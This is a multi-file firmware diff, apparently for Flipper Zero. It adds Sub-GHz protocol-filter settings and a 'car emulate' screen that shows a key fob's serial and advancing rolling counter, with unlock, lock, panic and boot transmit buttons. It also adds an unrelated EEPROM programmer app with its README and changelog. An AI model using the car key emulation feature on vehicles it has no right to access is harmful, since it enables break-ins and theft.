SubGhzLastSettings* instance = malloc(sizeof(SubGhzLastSettings));
@@ -50,6 +52,7 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
instance->enable_preset_hopping = false;
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
instance->leds_and_amp = true;
instance->protocol_filter[0] = '\0';
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
@@ -163,6 +166,28 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
1)) {
flipper_format_rewind(fff_data_file);
}
if(!flipper_format_read_bool(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
&instance->custom_car_emulate,
1)) {
instance->custom_car_emulate = false;
flipper_format_rewind(fff_data_file);
}
FuriString* filter_str = furi_string_alloc();
if(flipper_format_read_string(
fff_data_file, SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER, filter_str)) {
strncpy(
instance->protocol_filter,
furi_string_get_cstr(filter_str),
sizeof(instance->protocol_filter) - 1);
instance->protocol_filter[sizeof(instance->protocol_filter) - 1] = '\0';
} else {
instance->protocol_filter[0] = '\0';
flipper_format_rewind(fff_data_file);
}
furi_string_free(filter_str);
subghz_last_settings_protocol_filter_normalize(instance);
} while(0);
} else {
@@ -281,6 +306,19 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
file, SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP, &instance->leds_and_amp, 1)) {
break;
}
if(!flipper_format_write_bool(
file,
SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
&instance->custom_car_emulate,
1)) {
break;
}
if(!flipper_format_write_string_cstr(
file,
SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER,
instance->protocol_filter)) {
break;
}
saved = true;
} while(0);
@@ -3,6 +3,7 @@
#include <furi_hal.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <storage/storage.h>
#include <lib/subghz/types.h>
@@ -13,6 +14,7 @@
#define SUBGHZ_LAST_SETTING_DEFAULT_FREQUENCY 433920000
#define SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL 2
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD (-80.0f)
#define SUBGHZ_LAST_SETTINGS_PROTOCOL_FILTER_SIZE 1024
typedef struct {
uint32_t frequency;
@@ -30,8 +32,197 @@ typedef struct {
float preset_hopping_threshold;
bool leds_and_amp;
uint8_t tx_power;
bool custom_car_emulate;
char protocol_filter[SUBGHZ_LAST_SETTINGS_PROTOCOL_FILTER_SIZE]; /* comma-separated disabled protocols, empty = all enabled */
} SubGhzLastSettings;
static inline void subghz_last_settings_protocol_filter_next_token(
const char** cursor,
const char** token,
size_t* token_len) {
const char* start = *cursor;
while((*start == ',') || (*start == ' ') || (*start == '\t')) {
start++;
}
const char* end = start;
while((*end != '\0') && (*end != ',')) {
end++;
}
const char* trim_end = end;
while((trim_end > start) && ((trim_end[-1] == ' ') || (trim_end[-1] == '\t'))) {
trim_end--;
}
*token = start;
*token_len = (size_t)(trim_end - start);
*cursor = (*end == ',') ? end + 1 : end;
}
static inline bool subghz_last_settings_protocol_filter_token_matches(
const char* token,
size_t token_len,
const char* name,
size_t name_len) {
return (token_len == name_len) && (strncmp(token, name, token_len) == 0);
}
static inline bool subghz_last_settings_protocol_filter_contains_token(
const char* filter,
const char* token,
size_t token_len) {
const char* cursor = filter;
const char* current = NULL;
size_t current_len = 0;
while(*cursor != '\0') {
subghz_last_settings_protocol_filter_next_token(&cursor, &current, &current_len);
if((current_len != 0) &&
subghz_last_settings_protocol_filter_token_matches(
current, current_len, token, token_len)) {
return true;
}
}
return false;
}
static inline bool subghz_last_settings_protocol_filter_append_token(
char* filter,
size_t filter_size,
const char* token,
size_t token_len) {
if(token_len == 0) return true;
size_t filter_len = strlen(filter);
size_t separator_len = filter_len == 0 ? 0 : 1;
if((filter_len + separator_len + token_len) >= filter_size) {
return false;
}
if(separator_len != 0) {
filter[filter_len++] = ',';
}
memcpy(&filter[filter_len], token, token_len);
filter[filter_len + token_len] = '\0';
return true;
}
static inline bool subghz_last_settings_protocol_filter_contains(
const SubGhzLastSettings* instance,
const char* protocol) {
if((instance == NULL) || (protocol == NULL) || (protocol[0] == '\0')) return false;
return subghz_last_settings_protocol_filter_contains_token(
instance->protocol_filter, protocol, strlen(protocol));
}
static inline bool subghz_last_settings_protocol_filter_normalize(
SubGhzLastSettings* instance) {
if(instance == NULL) return false;
char normalized[SUBGHZ_LAST_SETTINGS_PROTOCOL_FILTER_SIZE] = {0};
const char* cursor = instance->protocol_filter;
const char* token = NULL;
size_t token_len = 0;
while(*cursor != '\0') {
subghz_last_settings_protocol_filter_next_token(&cursor, &token, &token_len);
if((token_len == 0) ||
subghz_last_settings_protocol_filter_contains_token(normalized, token, token_len)) {
continue;
}
if(!subghz_last_settings_protocol_filter_append_token(
normalized, sizeof(normalized), token, token_len)) {
return false;
}
}
bool changed = strcmp(instance->protocol_filter, normalized) != 0;
if(changed) {
memcpy(instance->protocol_filter, normalized, sizeof(instance->protocol_filter));
}
return changed;
}
static inline bool subghz_last_settings_protocol_filter_set(
SubGhzLastSettings* instance,
const char* protocol,
bool disabled) {
if((instance == NULL) || (protocol == NULL) || (protocol[0] == '\0')) return false;
char updated[SUBGHZ_LAST_SETTINGS_PROTOCOL_FILTER_SIZE] = {0};
const char* cursor = instance->protocol_filter;
const char* token = NULL;
size_t token_len = 0;
const size_t protocol_len = strlen(protocol);
bool protocol_written = false;
while(*cursor != '\0') {
subghz_last_settings_protocol_filter_next_token(&cursor, &token, &token_len);
if(token_len == 0) continue;
bool is_target = subghz_last_settings_protocol_filter_token_matches(
token, token_len, protocol, protocol_len);
if(is_target) {
if(disabled && !protocol_written) {
if(!subghz_last_settings_protocol_filter_append_token(
updated, sizeof(updated), protocol, protocol_len)) {
return false;
}
protocol_written = true;
}
continue;
}
if(!subghz_last_settings_protocol_filter_contains_token(updated, token, token_len)) {
if(!subghz_last_settings_protocol_filter_append_token(
updated, sizeof(updated), token, token_len)) {
return false;
}
}
}
if(disabled && !protocol_written) {
if(!subghz_last_settings_protocol_filter_append_token(
updated, sizeof(updated), protocol, protocol_len)) {
return false;
}
}
bool changed = strcmp(instance->protocol_filter, updated) != 0;
if(changed) {
memcpy(instance->protocol_filter, updated, sizeof(instance->protocol_filter));
}
return changed;
}
static inline uint8_t subghz_last_settings_protocol_filter_count(
const SubGhzLastSettings* instance) {
if(instance == NULL) return 0;
char seen[SUBGHZ_LAST_SETTINGS_PROTOCOL_FILTER_SIZE] = {0};
const char* cursor = instance->protocol_filter;
const char* token = NULL;
size_t token_len = 0;
uint8_t count = 0;
while(*cursor != '\0') {
subghz_last_settings_protocol_filter_next_token(&cursor, &token, &token_len);
if((token_len == 0) ||
subghz_last_settings_protocol_filter_contains_token(seen, token, token_len)) {
continue;
}
if(!subghz_last_settings_protocol_filter_append_token(seen, sizeof(seen), token, token_len)) {
break;
}
count++;
}
return count;
}
SubGhzLastSettings* subghz_last_settings_alloc(void);
void subghz_last_settings_free(SubGhzLastSettings* instance);
@@ -0,0 +1,269 @@
#include "subghz_car_emulate.h"
#include "../helpers/subghz_custom_event.h"
#include <gui/elements.h>
#include <input/input.h>
#include <furi.h>
#define TAG "SubGhzCarEmulateView"
/* ── Model ──────────────────────────────────────────────────────────────── */
typedef struct {
char protocol_name[32];
uint32_t serial;
uint32_t counter;
uint32_t original_counter;
uint32_t freq;
char preset[12];
bool is_transmitting;
uint8_t anim_frame;
char label_ok[16];
char label_up[16];
char label_down[16];
char label_left[16];
char label_right[16];
} SubGhzCarEmulateViewModel;
/* ── Handle ─────────────────────────────────────────────────────────────── */
struct SubGhzCarEmulateView {
View* view;
SubGhzCarEmulateViewCallback callback;
void* context;
};
/* ── Draw ───────────────────────────────────────────────────────────────── */
static void subghz_car_emulate_view_draw(Canvas* canvas, void* model_ptr) {
SubGhzCarEmulateViewModel* m = model_ptr;
m->anim_frame = (m->anim_frame + 1) % 8;
canvas_clear(canvas);
/* Header bar */
canvas_draw_box(canvas, 0, 0, 128, 11);
canvas_invert_color(canvas);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, m->protocol_name);
canvas_invert_color(canvas);
/* Info row 1: serial + counter */
canvas_set_font(canvas, FontSecondary);
char buf[32];
if(m->serial <= 0xFFFFFFUL) {
snprintf(buf, sizeof(buf), "SN:%06lX", (unsigned long)(m->serial & 0xFFFFFFUL));
} else {
snprintf(buf, sizeof(buf), "SN:%08lX", (unsigned long)m->serial);
}
canvas_draw_str(canvas, 2, 20, buf);
snprintf(buf, sizeof(buf), "CNT:%04lX", (unsigned long)m->counter);
canvas_draw_str(canvas, 68, 20, buf);
if(m->counter > m->original_counter) {
snprintf(buf, sizeof(buf), "+%ld", (long)(m->counter - m->original_counter));
canvas_draw_str(canvas, 112, 20, buf);
}
/* Info row 2: frequency + preset */
snprintf(
buf,
sizeof(buf),
"F:%lu.%02lu",
(unsigned long)(m->freq / 1000000UL),
(unsigned long)((m->freq % 1000000UL) / 10000UL));
canvas_draw_str(canvas, 2, 30, buf);
canvas_draw_str(canvas, 95, 30, m->preset);
/* ── Button labels ── */
const uint8_t font_h = canvas_current_font_height(canvas);
/* Centre → UNLOCK (OK button) */
if(m->label_ok[0]) {
const char* lbl = m->label_ok;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 64 - w / 2, 45 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 64, 49, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Up → LOCK */
if(m->label_up[0]) {
const char* lbl = m->label_up;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 64 - w / 2, 33 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 64, 37, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Left → PANIC */
if(m->label_left[0]) {
const char* lbl = m->label_left;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 0, 46 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, w / 2, 50, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Right → generic extra */
if(m->label_right[0]) {
const char* lbl = m->label_right;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 127 - w, 46 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 127 - w / 2, 50, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Down → BOOT */
if(m->label_down[0]) {
const char* lbl = m->label_down;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 64 - w / 2, 57 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 64, 61, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* TX overlay */
if(m->is_transmitting) {
canvas_draw_rbox(canvas, 24, 18, 80, 18, 3);
canvas_invert_color(canvas);
int wave = m->anim_frame % 3;
canvas_draw_str(canvas, 28 + wave * 2, 25, ")))");
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 24, AlignCenter, AlignCenter, "TX");
canvas_invert_color(canvas);
}
}
/* ── Input ──────────────────────────────────────────────────────────────── */
static bool subghz_car_emulate_view_input(InputEvent* event, void* context) {
SubGhzCarEmulateView* instance = context;
furi_assert(instance);
if(event->type == InputTypePress) {
if(event->key == InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventCarEmulateExit, instance->context);
}
return true;
}
/* Any directional / OK key → start TX */
if(instance->callback) {
/* Pack the raw InputKey into the upper bits of the event so the
scene can read which button was pressed.
Lower 16 bits = SubGhzCustomEventCarEmulateTransmit marker,
upper 16 bits = InputKey value. */
uint32_t ev = ((uint32_t)event->key << 16) |
(uint32_t)SubGhzCustomEventCarEmulateTransmit;
instance->callback(ev, instance->context);
}
return true;
} else if(event->type == InputTypeRelease) {
if(event->key != InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventCarEmulateStop, instance->context);
}
return true;
}
}
return false;
}
/* ── Alloc / Free ───────────────────────────────────────────────────────── */
SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void) {
SubGhzCarEmulateView* instance = malloc(sizeof(SubGhzCarEmulateView));
furi_check(instance);
instance->view = view_alloc();
instance->callback = NULL;
instance->context = NULL;
view_set_context(instance->view, instance);
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzCarEmulateViewModel));
view_set_draw_callback(instance->view, subghz_car_emulate_view_draw);
view_set_input_callback(instance->view, subghz_car_emulate_view_input);
return instance;
}
void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance) {
furi_check(instance);
view_free(instance->view);
free(instance);
}
View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance) {
furi_check(instance);
return instance->view;
}
void subghz_car_emulate_view_set_callback(
SubGhzCarEmulateView* instance,
SubGhzCarEmulateViewCallback callback,
void* context) {
furi_check(instance);
instance->callback = callback;
instance->context = context;
}
void subghz_car_emulate_view_set_data(
SubGhzCarEmulateView* instance,
const char* protocol_name,
uint32_t serial,
uint32_t counter,
uint32_t original_counter,
uint32_t freq,
const char* preset,
bool is_transmitting) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzCarEmulateViewModel * m,
{
strncpy(m->protocol_name, protocol_name, sizeof(m->protocol_name) - 1);
m->protocol_name[sizeof(m->protocol_name) - 1] = '\0';
m->serial = serial;
m->counter = counter;
m->original_counter = original_counter;
m->freq = freq;
strncpy(m->preset, preset, sizeof(m->preset) - 1);
m->preset[sizeof(m->preset) - 1] = '\0';
m->is_transmitting = is_transmitting;
},
true);
}
void subghz_car_emulate_view_set_labels(
SubGhzCarEmulateView* instance,
const char* ok,
const char* up,
const char* down,
const char* left,
const char* right) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzCarEmulateViewModel * m,
{
strncpy(m->label_ok, ok ? ok : "", sizeof(m->label_ok) - 1);
strncpy(m->label_up, up ? up : "", sizeof(m->label_up) - 1);
strncpy(m->label_down, down ? down : "", sizeof(m->label_down) - 1);
strncpy(m->label_left, left ? left : "", sizeof(m->label_left) - 1);
strncpy(m->label_right, right ? right : "", sizeof(m->label_right) - 1);
m->label_ok[sizeof(m->label_ok) - 1] = '\0';
m->label_up[sizeof(m->label_up) - 1] = '\0';
m->label_down[sizeof(m->label_down) - 1] = '\0';
m->label_left[sizeof(m->label_left) - 1] = '\0';
m->label_right[sizeof(m->label_right) - 1] = '\0';
},
true);
}
@@ -0,0 +1,45 @@
#pragma once
#include <gui/view.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef struct SubGhzCarEmulateView SubGhzCarEmulateView;
typedef void (*SubGhzCarEmulateViewCallback)(uint32_t event, void* context);
SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void);
void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance);
View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance);
void subghz_car_emulate_view_set_callback(
SubGhzCarEmulateView* instance,
SubGhzCarEmulateViewCallback callback,
void* context);
/** Update the fields shown on the view.
* All strings are copied internally so the caller can free them after the call.
*/
void subghz_car_emulate_view_set_labels(
SubGhzCarEmulateView* instance,
const char* ok,
const char* up,
const char* down,
const char* left,
const char* right);
void subghz_car_emulate_view_set_data(
SubGhzCarEmulateView* instance,
const char* protocol_name,
uint32_t serial,
uint32_t counter,
uint32_t original_counter,
uint32_t freq,
const char* preset,
bool is_transmitting);
#ifdef __cplusplus
}
#endif
+106
View File
@@ -0,0 +1,106 @@
# Changelog
All notable changes to the 24cxxprog EEPROM Programmer application will be documented in this file.
## [2.0.0] - 2026-03-11
### 🚀 Major Features Added
#### Dynamic Memory Support for All 24Cxx Chips
- **Full chip type support**: Added complete support for all EEPROM sizes from 24C01 (128B) to 24C512 (64KB)
- **Dynamic buffer allocation**: Memory buffers now automatically resize based on selected chip type
- **Configurable in Settings**: Users can now select chip type in Settings menu, and all operations adapt automatically
### ✨ Enhancements
#### Memory Management
- Replaced fixed 256-byte buffers with dynamic allocation:
- `memory_data` - dynamically allocated based on chip size
- `file_data` - dynamically allocated based on chip size
- `verify_buffer` - dynamically allocated based on chip size
- Added `get_eeprom_size()` helper function returning size in bytes for each chip type
- Added `reallocate_buffers()` function for automatic buffer reallocation on chip type change
- Memory size tracked in `memory_size` field (32-bit for chips up to 64KB)
#### Read/Write/Erase Operations
- **Read operation**: Now reads entire EEPROM regardless of size (128B to 64KB)
- **Write operation**: Supports writing to full address range of selected chip
- **Erase operation**: Clears entire memory of selected chip type
- **File operations**: Binary dumps now save/load full chip capacity
#### User Interface Improvements
- Address display format adapts to memory size:
- Small chips (≤256B): `0x00` format
- Large chips (>256B): `0000` hex format (4 digits)
- Progress indicators updated for all memory sizes
- Navigation (Up/Down) works across entire address range
- File size display shows actual chip capacity
#### File Naming
- Filename generation now includes all chip types:
- Examples: `24C01_2026-03-11_10-30.bin`, `24C256_2026-03-11_10-30.bin`
- Automatic timestamp-based naming for all chip variants
### 🔧 Technical Changes
#### Type Updates
- Changed address/size types from `uint8_t` to `uint32_t` for large memory support:
- `current_address`: now `uint32_t`
- `read_total_bytes`: now `uint32_t`
- `write_total_bytes_async`: now `uint32_t`
- `verify_total_bytes`: now `uint32_t`
- `erase_current_addr`: now `uint32_t`
- `progress_value`: now `uint32_t`
- `file_size`: now `uint32_t`
#### Format Specifiers
- Updated all `printf`/`snprintf` calls to use correct format for `uint32_t`:
- Changed `%d` to `%lu` for unsigned long
- Changed `%X` to `%lX` for hex unsigned long
#### Memory Safety
- Added proper memory initialization in `reallocate_buffers()`
- Added null pointer checks for all dynamically allocated buffers
- Proper cleanup in `eeprom_app_free()` - all buffers freed correctly
### 🐛 Bug Fixes
- Fixed buffer overflow risk in memory operations for larger chips
- Fixed format specifier warnings causing compilation errors
- Fixed address boundary checking for chips larger than 256 bytes
- Fixed progress bar calculations for larger memory sizes
### 🔄 Behavioral Changes
- Settings → Chip Type now immediately reallocates buffers
- Current address is reset to 0 if it exceeds new chip size after type change
- File load operation respects maximum chip capacity (won't load more than chip can hold)
### 📋 Supported Chip Types
Complete support matrix:
| Chip Type | Size | Status |
|-----------|------|--------|
| 24C01 | 128 bytes | ✅ Full Support |
| 24C02 | 256 bytes | ✅ Full Support |
| 24C04 | 512 bytes | ✅ Full Support |
| 24C08 | 1 KB | ✅ Full Support |
| 24C16 | 2 KB | ✅ Full Support |
| 24C32 | 4 KB | ✅ Full Support |
| 24C64 | 8 KB | ✅ Full Support |
| 24C128 | 16 KB | ✅ Full Support |
| 24C256 | 32 KB | ✅ Full Support |
| 24C512 | 64 KB | ✅ Full Support |
### ⚠️ Breaking Changes
- Binary dump files from previous versions (always 256 bytes) are incompatible with chip-specific sizes
- Users should re-read and save new dumps after upgrading
---
## [1.0.0] - Previous Version
### Initial Release
- Basic read/write/erase operations
- Fixed 256-byte buffer (24C02 only)
- I2C address configuration
- File load/save operations
- Basic hex viewer
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Dr.Mosfet
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+222
View File
@@ -0,0 +1,222 @@
# 🔧 24cxxprog - EEPROM 24Cxx Programmer
<h2 align="center">A Comprehensive EEPROM Programmer for Flipper Zero</h2>
<div align="center">
<table style="width:100%; border:none;">
<tr style="border:none;">
<td style="border:none; padding:10px;">
<img src="screenshots/1.png" alt="Main Menu - Operations" style="width:100%;">
<br>
<em>Menu główne z operacjami (Odczyt, Zapis, Kasowanie)</em>
</td>
<td style="border:none; padding:10px;">
<img src="screenshots/2.png" alt="Configuration Menu" style="width:100%;">
<br>
<em>Menu konfiguracji (Adres I2C, Rozmiar pamięci)</em>
</td>
<td style="border:none; padding:10px;">
<img src="screenshots/3.png" alt="Data Display - EEPROM Contents" style="width:100%;">
<br>
<em>Wyświetlanie zawartości EEPROM (Dane heksadecymalne)</em>
</td>
</tr>
</table>
</div>
---
This is a **comprehensive EEPROM programmer application** designed for the **Flipper Zero** that interfaces with the **24Cxx series I2C memory chips**. The application provides a complete suite of tools for reading, writing, erasing, and managing EEPROM memory with a user-friendly interface on the Flipper's screen.
## ✨ Features Overview
### 📝 EEPROM Operations
Complete toolset for memory management:
* **Read Operations:** View complete EEPROM contents with address and hexadecimal data display.
* **Write Operations:** Program custom data into specific memory addresses.
* **Erase Functions:** Clear individual bytes, pages, or entire memory sections.
* **Dump to Storage:** Export EEPROM contents to Flipper SD card for backup and analysis.
* **Restore from Backup:** Load previously saved EEPROM data back into the chip.
### 🎨 User Interface & Experience
Intuitive interface optimized for Flipper Zero's display:
* **Main Menu:** Clear operation selection with visual feedback.
* **Data Viewer:** Scrollable hex display showing actual EEPROM contents.
* **Configuration Menu:** Easy access to sensor parameters and device settings.
* **Address Navigation:** Precise control over memory location selection.
* **Progress Indicator:** Real-time feedback during long operations.
### ⚙️ Configuration Options
Customize the programmer for your specific hardware:
* **I2C Address Selection:** Choose between multiple I2C addresses (**0x50-0x57**) for different chip variants.
* **Memory Size Selection:** Automatically detect or manually set chip capacity (**1KB to 64KB** and larger).
* **Page Size Configuration:** Adapt to different chip architectures (**8 bytes to 256 bytes per page**).
* **Persistent Settings:** Configurations are automatically saved for quick access.
### 💻 Technical Features & Robustness
Built for reliability on the Flipper Zero platform:
* **I2C Protocol Support:** Robust communication with error checking.
* **Address Validation:** Prevents out-of-bounds memory access.
* **Timeout Protection:** Safeguards against communication errors.
* **Error Handling:** Comprehensive error messages for troubleshooting.
* **Non-blocking Operations:** Responsive UI that doesn't freeze during I2C transactions.
* **Data Verification:** Verify written data integrity after programming.
## 🔋 Supported 24Cxx Chips
Comprehensive support for the entire 24Cxx family:
<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
<thead style="background-color: #f8f8f8;">
<tr>
<th style="padding: 8px; border:1px solid #ddd;">Chip Model</th>
<th style="padding: 8px; border:1px solid #ddd;">Memory Size</th>
<th style="padding: 8px; border:1px solid #ddd;">Page Size</th>
<th style="padding: 8px; border:1px solid #ddd;">Address Range</th>
</tr>
</thead>
<tbody>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C01</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">128 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0x7F</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C02</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">256 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFF</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C04 - 24C16</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">512B - 2KB</td>
<td style="padding: 8px; border:1px solid #ddd;">16 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFFFF</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C32 - 24C64</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">4KB - 8KB</td>
<td style="padding: 8px; border:1px solid #ddd;">32 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0x1FFF</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C128 - 24C512</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">16KB - 64KB</td>
<td style="padding: 8px; border:1px solid #ddd;">64 Bytes</td>
<td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0xFFFF</td>
</tr>
</tbody>
</table>
---
## 🕹️ Navigation Guide
<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
<thead style="background-color: #f8f8f8;">
<tr>
<th style="padding: 8px; border:1px solid #ddd;">Screen</th>
<th style="padding: 8px; border:1px solid #ddd;">D-Pad Up/Down</th>
<th style="padding: 8px; border:1px solid #ddd;">D-Pad Left/Right</th>
<th style="padding: 8px; border:1px solid #ddd;">OK Button</th>
<th style="padding: 8px; border:1px solid #ddd;">Back Button</th>
</tr>
</thead>
<tbody>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Main Menu</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Browse operations (Read, Write, Erase, Dump, Restore)</td>
<td style="padding: 8px; border:1px solid #ddd;">-</td>
<td style="padding: 8px; border:1px solid #ddd;">Select operation</td>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Exit</strong> application</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Read/Write</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Navigate through addresses</td>
<td style="padding: 8px; border:1px solid #ddd;">Adjust byte values (Write mode)</td>
<td style="padding: 8px; border:1px solid #ddd;">Confirm operation</td>
<td style="padding: 8px; border:1px solid #ddd;">Return to Main Menu</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Configuration</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Navigate between settings</td>
<td style="padding: 8px; border:1px solid #ddd;">Adjust parameter values</td>
<td style="padding: 8px; border:1px solid #ddd;">Apply settings</td>
<td style="padding: 8px; border:1px solid #ddd;">Cancel and return</td>
</tr>
<tr>
<td style="padding: 8px; border:1px solid #ddd;"><strong>Data View</strong></td>
<td style="padding: 8px; border:1px solid #ddd;">Scroll data up/down</td>
<td style="padding: 8px; border:1px solid #ddd;">Jump to address</td>
<td style="padding: 8px; border:1px solid #ddd;">Show hex/ASCII toggle</td>
<td style="padding: 8px; border:1px solid #ddd;">Exit data view</td>
</tr>
</tbody>
</table>
## 🔌 Hardware Connections
Standard I2C pinout for Flipper Zero GPIO:
```
24Cxx EEPROM Module Flipper Zero GPIO
───────────────── ─────────────────
SDA (Pin 5) ───→ GPIO_SDA (Pin 16)
SCL (Pin 6) ───→ GPIO_SCL (Pin 15)
GND (Pin 4) ───→ GND (Pin 8)
VCC (Pin 8) ───→ 3.3V (Pin 9)
Optional Pull-ups: 4.7kΩ from SDA and SCL to 3.3V
```
## 📋 Operation Details
### Read
- Displays EEPROM contents in hexadecimal format
- Shows address, data bytes, and ASCII representation
- Scrollable for chips larger than display capacity
### Write
- Enter target address and data values
- Supports single byte or page programming
- Automatic write cycle delay handling
### Erase
- Clear individual bytes to 0xFF
- Erase entire pages
- Full chip erase with confirmation
### Dump
- Export EEPROM to **`/ext/apps_data/24cxxprog/`** directory
- Creates timestamped backup files
- Preserves complete memory state
### Restore
- Load previously dumped EEPROM data
- Verify before writing
- Restore to specified starting address
---
## 👨‍💻 Developer
This application was created by **Dr. Mosfet** for the Flipper Zero community.
**Repository:** [kamylwnb/24cxxprog](https://github.com/kamylwnb/24cxxprog)
**Version:** 1.0
**Category:** GPIO / Tools
**Platform:** Flipper Zero F7
---
**Happy EEPROM programming! 🔧**
@@ -0,0 +1,22 @@
App(
appid="24cxxprog",
name="24Cxx Programmer",
apptype=FlipperAppType.EXTERNAL,
entry_point="eeprom_app_24cxx",
cdefines=["APP_24CXXPROG"],
requires=[
"gui",
"i2c",
],
sources=[
"i2c_24c02_app.cpp",
"i2c_24c02.cpp",
],
stack_size=2 * 1024,
order=21,
fap_icon="icons/ikon.png",
fap_category="GPIO",
fap_author="@Dr.Mosfet",
fap_version="2.0",
fap_description="EEPROM 24Cxx programmer via I2C with read, write, erase and dump/restore options.",
)
+212
View File
@@ -0,0 +1,212 @@
#include "i2c_24c02.hpp"
#include "furi_hal_i2c.h"
#include <furi.h>
EEPROM24C02::EEPROM24C02(uint8_t i2c_address_7bit)
: _i2c_addr_8bit(i2c_address_7bit << 1) {
}
bool EEPROM24C02::init() {
// Just check if device is responding
return isAvailable();
}
bool EEPROM24C02::isAvailable() {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
// Try to read a dummy byte to check if device responds
uint8_t dummy_data;
bool success = furi_hal_i2c_rx(
&furi_hal_i2c_handle_external, _i2c_addr_8bit, &dummy_data, 1, EEPROM_I2C_TIMEOUT);
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return success;
}
